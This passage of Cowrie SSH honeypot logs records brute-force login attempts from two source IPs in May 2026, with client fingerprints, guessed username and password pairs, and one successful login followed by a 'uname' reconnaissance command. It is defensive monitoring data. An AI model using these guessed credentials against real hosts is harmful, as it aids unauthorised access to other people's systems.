256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:31.388682Z","src_ip":"47.86.95.62","session":"5fafd41b79b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:32.019416Z","src_ip":"47.86.95.62","session":"5fafd41b79b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:33.262131Z","src_ip":"47.86.95.62","session":"5fafd41b79b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22646,"dst_ip":"159.203.135.109","dst_port":22,"session":"02cfaeaa6de2","protocol":"ssh","message":"New connection: 2.57.121.112:22646 (159.203.135.109:22) [session: 02cfaeaa6de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:43.007976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:43.016756Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:43.123040Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Ddddddd1","message":"login attempt [admin/Ddddddd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:43.618036Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davion","message":"login attempt [admin/davion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:44.727033Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davidlee","message":"login attempt [admin/davidlee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:45.836706Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daveyboy","message":"login attempt [admin/daveyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:46.945687Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"davex","message":"login attempt [admin/davex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:48.054980Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:49.165158Z","src_ip":"2.57.121.112","session":"02cfaeaa6de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53850,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd11c0f4eb5","protocol":"ssh","message":"New connection: 47.86.95.62:53850 (10.17.0.5:22) [session: 6bd11c0f4eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:56.173894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:56.202973Z","src_ip":"47.86.95.62","session":"6bd11c0f4eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:56.411728Z","src_ip":"47.86.95.62","session":"6bd11c0f4eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:57.211709Z","src_ip":"47.86.95.62","session":"6bd11c0f4eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:04:58.552101Z","src_ip":"47.86.95.62","session":"6bd11c0f4eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33656,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6363ec6c705","protocol":"ssh","message":"New connection: 47.86.95.62:33656 (10.17.0.5:22) [session: b6363ec6c705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:01.561800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:01.571795Z","src_ip":"47.86.95.62","session":"b6363ec6c705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:01.781431Z","src_ip":"47.86.95.62","session":"b6363ec6c705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:12.858872Z","src_ip":"47.86.95.62","session":"b6363ec6c705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:17.898932Z","src_ip":"47.86.95.62","session":"b6363ec6c705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52768,"dst_ip":"10.17.0.5","dst_port":22,"session":"0976727c324b","protocol":"ssh","message":"New connection: 47.86.95.62:52768 (10.17.0.5:22) [session: 0976727c324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:28.103891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:28.109071Z","src_ip":"47.86.95.62","session":"0976727c324b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:28.325025Z","src_ip":"47.86.95.62","session":"0976727c324b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:29.233101Z","src_ip":"47.86.95.62","session":"0976727c324b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:30.452243Z","src_ip":"47.86.95.62","session":"0976727c324b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45694,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f552584280","protocol":"ssh","message":"New connection: 47.86.95.62:45694 (10.17.0.5:22) [session: b9f552584280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:46.436688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:47.461513Z","src_ip":"47.86.95.62","session":"b9f552584280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:47.466678Z","src_ip":"47.86.95.62","session":"b9f552584280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:54.622267Z","src_ip":"47.86.95.62","session":"b9f552584280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:05:56.412083Z","src_ip":"47.86.95.62","session":"b9f552584280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33372,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95d7bd48333","protocol":"ssh","message":"New connection: 47.86.95.62:33372 (10.17.0.5:22) [session: c95d7bd48333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:01.038020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:01.043176Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:01.261582Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:01.909263Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:02.893523Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:02.897362Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:03.115281Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:03.579132Z","src_ip":"47.86.95.62","session":"c95d7bd48333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33524,"dst_ip":"10.17.0.5","dst_port":22,"session":"5735c7649153","protocol":"ssh","message":"New connection: 47.86.95.62:33524 (10.17.0.5:22) [session: 5735c7649153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:20.252048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:20.259610Z","src_ip":"47.86.95.62","session":"5735c7649153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:20.469874Z","src_ip":"47.86.95.62","session":"5735c7649153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:21.256452Z","src_ip":"47.86.95.62","session":"5735c7649153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:22.528628Z","src_ip":"47.86.95.62","session":"5735c7649153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34970,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcee619f9f43","protocol":"ssh","message":"New connection: 47.86.95.62:34970 (10.17.0.5:22) [session: bcee619f9f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:24.957784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:25.020421Z","src_ip":"47.86.95.62","session":"bcee619f9f43","protocol":"ssh"}
